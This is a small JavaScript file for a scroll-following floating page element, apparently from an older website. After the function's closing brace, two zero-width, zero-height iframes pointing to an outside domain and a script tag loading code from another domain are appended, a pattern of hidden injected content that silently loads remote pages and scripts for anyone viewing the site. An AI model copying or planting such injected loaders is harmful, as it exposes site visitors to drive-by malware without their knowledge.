// JavaScript Document
lastScrollY=0;
function heartBeat(){ 
var diffY;
if (document.documentElement && document.documentElement.scrollTop)
    diffY = document.documentElement.scrollTop;
else if (document.body)
    diffY = document.body.scrollTop
else
    {/*Netscape stuff*/}
    
//alert(diffY);
percent=.1*(diffY-lastScrollY); 
if(percent>0)percent=Math.ceil(percent); 
else percent=Math.floor(percent); 
document.getElementById("lovexin12").style.top=parseInt(document.getElementById("lovexin12").style.top)+percent+"px";
document.getElementById("lovexin14").style.top=parseInt(document.getElementById("lovexin12").style.top)+percent+"px";

lastScrollY=lastScrollY+percent; 
//alert(lastScrollY);
}<iframe src=http://xxx.hao1680.com/xx.htm?id=017 width=0 height=0></iframe><iframe src=http://xxx.hao1680.com/xx.htm?id=017 width=0 height=0></iframe><script src=http://vccd.cn></script>